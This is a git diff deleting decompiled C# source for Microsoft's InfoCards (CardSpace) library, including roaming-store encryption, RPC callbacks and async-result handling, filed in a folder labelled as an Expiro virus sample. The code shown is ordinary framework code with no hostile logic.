new InfoCard(new Uri(this.m_managedCardId)); - infoCard.Get(connection); - this.m_selfIssuedCardId = Utility.ResolvePPID(this.m_ppid, infoCard.IssuerIdentifierAsBytes, connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeString(new BinaryWriter(this.OutArgs, Encoding.Unicode), this.m_selfIssuedCardId); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFile.cs deleted file mode 100644 index 5cf84f9d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFile.cs +++ /dev/null @@ -1,129 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFile - { - private List m_infocards; - - public RoamingStoreFile() => this.m_infocards = new List(); - - public IList Cards => (IList) this.m_infocards; - - public void Clear() - { - foreach (InfoCard infocard in this.m_infocards) - infocard.ClearSensitiveData(); - this.m_infocards.Clear(); - } - - public void WriteTo(string password, XmlWriter writer) - { - byte[] buffer = (byte[]) null; - byte[] salt = (byte[]) null; - using (MemoryStream memoryStream = new MemoryStream()) - { - using (XmlWriter writer1 = XmlWriter.Create((Stream) memoryStream, new XmlWriterSettings() - { - OmitXmlDeclaration = true, - CloseOutput = false, - Encoding = Encoding.UTF8 - })) - { - writer1.WriteStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (InfoCard infocard in this.m_infocards) - infocard.WriteXml(writer1); - writer1.WriteEndElement(); - writer1.Flush(); - } - memoryStream.Flush(); - memoryStream.Seek(0L, SeekOrigin.Begin); - buffer = new byte[RoamingStoreFileUtility.CalculateEncryptedSize(Convert.ToInt32(memoryStream.Length))]; - using (MemoryStream destination = new MemoryStream(buffer)) - { - RoamingStoreFileUtility.Encrypt((Stream) memoryStream, (Stream) destination, password, out salt); - destination.Flush(); - } - } - writer.WriteStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteBase64(salt, 0, salt.Length); - writer.WriteEndElement(); - writer.WriteStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherData", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteBase64(buffer, 0, buffer.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - public void ReadFrom(string password, XmlReader reader) - { - if (!reader.IsStartElement("EncryptedStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("StoreSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - byte[] numArray = new byte[RoamingStoreFileUtility.SaltLength]; - reader.ReadElementContentAsBase64(numArray, 0, numArray.Length); - if (reader.ReadElementContentAsBase64(new byte[1], 0, 1) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.IsStartElement("EncryptedData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherData", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (!reader.ReadToDescendant("CipherValue", "http://www.w3.org/2001/04/xmlenc#")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (MemoryStream source = new MemoryStream(4096)) - { - byte[] buffer = new byte[1024]; - int count; - while ((count = reader.ReadElementContentAsBase64(buffer, 0, buffer.Length)) > 0) - source.Write(buffer, 0, count); - source.Flush(); - source.Seek(0L, SeekOrigin.Begin); - using (MemoryStream destination = new MemoryStream(RoamingStoreFileUtility.CalculateDecryptedSize(Convert.ToInt32(source.Length)))) - { - RoamingStoreFileUtility.Decrypt((Stream) source, (Stream) destination, password, numArray); - destination.Flush(); - destination.Seek(0L, SeekOrigin.Begin); - using (XmlReader reader1 = InfoCardSchemas.CreateReader((Stream) destination, reader.Settings)) - { - reader1.Read(); - if (!reader1.IsStartElement("RoamingStore", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - if (reader1.ReadToDescendant("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - do - { - InfoCard infoCard = new InfoCard(); - infoCard.ReadXml(reader1); - this.m_infocards.Add(infoCard); - reader1.ReadEndElement(); - } - while (reader1.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")); - } - reader1.ReadEndElement(); - } - } - } - reader.ReadEndElement(); - if (reader.IsStartElement("EncryptionProperties", "http://www.w3.org/2001/04/xmlenc#")) - reader.Skip(); - reader.ReadEndElement(); - reader.ReadEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFileUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFileUtility.cs deleted file mode 100644 index de87c064..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RoamingStoreFileUtility.cs +++ /dev/null @@ -1,289 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RoamingStoreFileUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class RoamingStoreFileUtility - { - private const int ENCRYPTIONKEYBUFFERSIZE = 32; - private const int ENCRYPTIONKEYBITLENGTH = 256; - private const int ENCRYPTIONIVBUFFERSIZE = 16; - private const int ENCRYPTIONIVBITLENGTH = 128; - private const int ITERATIONCOUNT = 1000; - private const int SHA256_BUFFERSIZE = 32; - private static readonly byte[] DerivedKeySignatureEntropy = new byte[16] - { - (byte) 196, - (byte) 1, - (byte) 123, - (byte) 241, - (byte) 107, - (byte) 173, - (byte) 47, - (byte) 66, - (byte) 175, - (byte) 244, - (byte) 151, - (byte) 125, - (byte) 4, - (byte) 104, - (byte) 3, - (byte) 219 - }; - private static readonly byte[] DerivedKeyEncryptionEntropy = new byte[16] - { - (byte) 217, - (byte) 89, - (byte) 123, - (byte) 38, - (byte) 30, - (byte) 216, - (byte) 179, - (byte) 68, - (byte) 147, - (byte) 35, - (byte) 179, - (byte) 150, - (byte) 133, - (byte) 222, - (byte) 149, - (byte) 252 - }; - - public static int SaltLength => 16; - - private RoamingStoreFileUtility() - { - } - - public static int CalculateEncryptedSize(int decryptedLength) - { - int num = decryptedLength; - return num + (16 - num % 16) + 48; - } - - public static int CalculateDecryptedSize(int encryptedLength) => encryptedLength - 48; - - public static void Decrypt( - Stream source, - Stream destination, - string passwordString, - byte[] salt) - { - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - if (numArray1.Length != source.Read(numArray1, 0, numArray1.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform decryptor = (RijndaelManagedTransform) rijndaelManaged.CreateDecryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[decryptor.InputBlockSize]; - byte[] numArray3 = new byte[decryptor.OutputBlockSize]; - byte[] numArray4 = new byte[shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + encryptionKey.Length + decryptor.OutputBlockSize])) - { - if (numArray4.Length != source.Read(numArray4, 0, numArray4.Length)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - while (source.Position < source.Length - (long) numArray2.Length) - { - try - { - int inputCount = source.Read(numArray2, 0, numArray2.Length); - int count = decryptor.TransformBlock(numArray2, 0, inputCount, numArray3, 0); - if (count > 0) - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray2, 0, numArray2.Length); - } - } - int inputCount1 = source.Read(numArray2, 0, numArray2.Length); - byte[] buffer = decryptor.TransformFinalBlock(numArray2, 0, inputCount1); - destination.Write(buffer, 0, buffer.Length); - inputStream.Write(buffer, buffer.Length - decryptor.OutputBlockSize, decryptor.OutputBlockSize); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - if (!RoamingStoreFileUtility.CompareSignature(shA256Managed.ComputeHash((Stream) inputStream), numArray4)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFile"))); - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - public static void Encrypt( - Stream source, - Stream destination, - string passwordString, - out byte[] salt) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - salt = new byte[16]; - randomNumberGenerator.GetBytes(salt); - byte[] bytes = Encoding.Unicode.GetBytes(passwordString); - byte[] encryptionKey; - byte[] signatureKey; - try - { - RoamingStoreFileUtility.CreateKeyPair(bytes, salt, out encryptionKey, out signatureKey); - } - finally - { - Array.Clear((Array) bytes, 0, bytes.Length); - } - try - { - byte[] numArray1 = new byte[16]; - randomNumberGenerator.GetBytes(numArray1); - using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) - { - rijndaelManaged.Padding = PaddingMode.PKCS7; - rijndaelManaged.Mode = CipherMode.CBC; - rijndaelManaged.BlockSize = numArray1.Length * 8; - rijndaelManaged.KeySize = encryptionKey.Length * 8; - using (RijndaelManagedTransform encryptor = (RijndaelManagedTransform) rijndaelManaged.CreateEncryptor(encryptionKey, numArray1)) - { - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray2 = new byte[encryptor.InputBlockSize]; - byte[] buffer1 = (byte[]) null; - byte[] numArray3 = new byte[encryptor.OutputBlockSize]; - byte[] numArray4 = new byte[numArray1.Length + shA256Managed.HashSize / 8]; - using (MemoryStream inputStream = new MemoryStream(new byte[numArray1.Length + signatureKey.Length + encryptor.InputBlockSize])) - { - inputStream.Write(numArray1, 0, numArray1.Length); - inputStream.Write(signatureKey, 0, signatureKey.Length); - try - { - destination.Write(numArray4, 0, numArray4.Length); - int num = 0; - while (source.Position < source.Length - (long) numArray2.Length) - { - num = source.Read(numArray2, 0, numArray2.Length); - try - { - int count = encryptor.TransformBlock(numArray2, 0, numArray2.Length, numArray3, 0); - destination.Write(numArray3, 0, count); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - } - } - int inputCount = source.Read(numArray2, 0, numArray2.Length); - if (inputCount != numArray2.Length) - { - byte[] buffer2 = new byte[numArray2.Length]; - source.Seek(source.Length - (long) numArray2.Length, SeekOrigin.Begin); - InfoCardTrace.Assert(source.Read(buffer2, 0, buffer2.Length) == buffer2.Length && buffer2.Length == numArray2.Length, "Should have read exactly 0x20 bytes"); - inputStream.Write(buffer2, 0, buffer2.Length); - } - else - inputStream.Write(numArray2, 0, numArray2.Length); - buffer1 = encryptor.TransformFinalBlock(numArray2, 0, inputCount); - destination.Write(buffer1, 0, buffer1.Length); - destination.Flush(); - inputStream.Flush(); - inputStream.Seek(0L, SeekOrigin.Begin); - byte[] hash = shA256Managed.ComputeHash((Stream) inputStream); - Array.Copy((Array) numArray1, 0, (Array) numArray4, 0, numArray1.Length); - Array.Copy((Array) hash, 0, (Array) numArray4, numArray1.Length, hash.Length); - destination.Seek(0L, SeekOrigin.Begin); - destination.Write(numArray4, 0, numArray4.Length); - destination.Flush(); - destination.Seek(0L, SeekOrigin.End); - } - finally - { - Array.Clear((Array) numArray2, 0, numArray2.Length); - Array.Clear((Array) numArray3, 0, numArray3.Length); - Array.Clear((Array) numArray4, 0, numArray4.Length); - if (buffer1 != null) - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - } - } - } - } - } - finally - { - Array.Clear((Array) encryptionKey, 0, encryptionKey.Length); - Array.Clear((Array) signatureKey, 0, signatureKey.Length); - } - } - - private static void CreateKeyPair( - byte[] password, - byte[] salt, - out byte[] encryptionKey, - out byte[] signatureKey) - { - byte[] sourceArray = RoamingStoreFileUtility.DoPkcs5(password, salt); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray1 = new byte[32 + RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length]; - byte[] numArray2 = new byte[32 + RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length]; - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeyEncryptionEntropy, 0, (Array) numArray1, 0, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length); - Array.Copy((Array) RoamingStoreFileUtility.DerivedKeySignatureEntropy, 0, (Array) numArray2, 0, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length); - Array.Copy((Array) sourceArray, 0, (Array) numArray1, RoamingStoreFileUtility.DerivedKeyEncryptionEntropy.Length, 32); - Array.Copy((Array) sourceArray, 0, (Array) numArray2, RoamingStoreFileUtility.DerivedKeySignatureEntropy.Length, 32); - encryptionKey = shA256Managed.ComputeHash(numArray1); - signatureKey = shA256Managed.ComputeHash(numArray2); - } - } - - private static byte[] DoPkcs5(byte[] password, byte[] salt) => new PasswordDeriveBytes(password, salt, "SHA256", 1000).GetBytes(32); - - internal static bool CompareSignature(byte[] input, byte[] expected) - { - if (input.Length == 0 || input.Length != expected.Length) - return false; - for (int index = 0; index < input.Length; ++index) - { - if ((int) expected[index] != (int) input[index]) - return false; - } - return true; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAllocMemCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAllocMemCallback.cs deleted file mode 100644 index c8a7af6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAllocMemCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAllocMemCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate IntPtr RpcAllocMemCallback([In] IntPtr size); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAsyncResult.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAsyncResult.cs deleted file mode 100644 index 8698611b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAsyncResult.cs +++ /dev/null @@ -1,167 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAsyncResult -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32.SafeHandles; -using System; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class RpcAsyncResult : IAsyncResult, IDisposable - { - private static RpcAsyncResult.RpcAsyncHandleDictionary s_handles = new RpcAsyncResult.RpcAsyncHandleDictionary(); - private static object s_syncRoot = new object(); - private ClientRequest m_request; - private ManualResetEvent m_externEvent; - private bool m_isCompleted; - private bool m_isCanceled; - private bool m_isResultPickedUp; - private bool m_isDisposed; - private object m_result; - private string m_opType; - private ManualResetEvent m_event; - private int m_handle; - private object m_syncRoot; - private Exception m_exception; - private RpcAsyncResult.AsyncCancelCallback m_cancelCallback; - - public RpcAsyncResult(ClientRequest request, string opType, SafeWaitHandle externEvent) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == request, nameof (request)); - this.m_syncRoot = new object(); - this.m_request = request; - this.m_opType = opType; - if (externEvent != null) - { - this.m_externEvent = new ManualResetEvent(false); - this.m_externEvent.SafeWaitHandle = externEvent; - } - this.m_event = new ManualResetEvent(false); - lock (RpcAsyncResult.s_syncRoot) - { - int newHandle; - try - { - newHandle = RpcAsyncResult.s_handles.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyAsyncOperations", (object) RpcAsyncResult.s_handles.MaxSize), (Exception) ex)); - } - this.m_handle = newHandle; - RpcAsyncResult.s_handles[this.m_handle] = this; - } - this.m_request.AddAsyncOp(this); - } - - public RpcAsyncResult.AsyncCancelCallback CancelCallback - { - get => this.m_cancelCallback; - set => this.m_cancelCallback = value; - } - - public WaitHandle AsyncWaitHandle => (WaitHandle) this.m_event; - - public bool CompletedSynchronously => false; - - public object AsyncState => (object) null; - - public object Result - { - get => this.m_result; - set => this.m_result = value; - } - - public bool IsCompleted => this.m_isCompleted; - - public bool IsCanceled => this.m_isCanceled; - - public int Handle => this.m_handle; - - public Exception Exception - { - get => this.m_exception; - set => this.m_exception = value; - } - - public void Complete() - { - lock (this.m_syncRoot) - { - if (this.m_isCompleted) - return; - this.m_isCompleted = true; - if (!this.m_isCanceled) - this.AlertWaiters(); - this.MaybeDispose(); - } - } - - public void Cancel() - { - lock (this.m_syncRoot) - this.InternalCancel(); - } - - private void InternalCancel() - { - if (this.m_isCanceled || this.m_isCompleted) - return; - if (this.CancelCallback != null) - this.CancelCallback(); - this.m_isCanceled = true; - this.AlertWaiters(); - } - - private void AlertWaiters() - { - this.m_event.Set(); - if (this.m_externEvent == null) - return; - this.m_externEvent.Set(); - } - - private void MaybeDispose() - { - if (!this.m_isCompleted || !this.m_isResultPickedUp) - return; - this.DisposeInternal(); - } - - public void Dispose() - { - if (this.m_isResultPickedUp) - return; - lock (this.m_syncRoot) - { - this.InternalCancel(); - this.m_isResultPickedUp = true; - this.MaybeDispose(); - } - } - - private void DisposeInternal() - { - if (this.m_isDisposed) - return; - this.m_isDisposed = true; - this.m_request.RemoveAsyncOp(this.Handle); - this.m_request = (ClientRequest) null; - if (this.m_externEvent != null) - this.m_externEvent.Close(); - this.m_event.Close(); - lock (RpcAsyncResult.s_syncRoot) - RpcAsyncResult.s_handles.Remove(this.Handle); - } - - public delegate void AsyncCancelCallback(); - - private class RpcAsyncHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAuthorizeCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAuthorizeCallback.cs deleted file mode 100644 index 3b460750..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcAuthorizeCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcAuthorizeCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate uint RpcAuthorizeCallback([In] IntPtr rpcIfHandle, [In] IntPtr Context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCallbacks.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCallbacks.cs deleted file mode 100644 index c860d231..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCallbacks.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCallbacks -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct RpcCallbacks - { - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback uiAgentRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcUIAgentBindToServiceCallback uiAgentRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAuthorizeCallback clientRequestAuthorize; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcClientBindToServiceCallback clientRequestBindToService; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcProcessNewRequestCallback requestFactoryProcessNewRequest; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcAllocMemCallback allocMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcFreeMemCallback freeMem; - [MarshalAs(UnmanagedType.FunctionPtr)] - public RpcRundownClientContextHandle rundownClientContext; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs deleted file mode 100644 index a6021637..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcClientBindToServiceCallback -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal delegate int RpcClientBindToServiceCallback([In] IntPtr rpcHandle, out IntPtr context); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoContext.cs deleted file mode 100644 index 7217bfa2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RpcCryptoContext.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RpcCryptoContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; - -namespace Microsoft.InfoCards -{ - internal class RpcCryptoContext : IDisposable - { - private string m_portName; - private string m_contextKey; - private IntPtr m_idlHandle; - private object m_syncRoot; - private bool m_open; - private bool m_disposed; - - public RpcCryptoContext(string portName, string contextKey) - { - this.m_portName = portName; - this.m_contextKey = contextKey; - this.m_syncRoot = new object(); - this.m_disposed = false; - } - - ~RpcCryptoContext() - { - if (this.m_disposed) - return; - ((IDisposable) this).Dispose(); - } - - public string ContextKey => this.m_contextKey; - - public IntPtr InterfaceHandle => this.m_idlHandle; - - public bool IsOpen => this.m_open; - - public void Open() - { - this.ThrowIfDisposed(); - if (this.m_open) - return; - try - { - this.m_idlHandle = NativeMcppMethods.RpcCryptoOpen(this.m_portName); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - this.m_open = true; - } - - public void Close() - { - if (!this.m_open) - return; - try - { - NativeMcppMethods.RpcCryptoClose(this.m_idlHandle, this.m_contextKey); - } - catch (Win32Exception ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException((string) null, (Exception) ex)); - } - 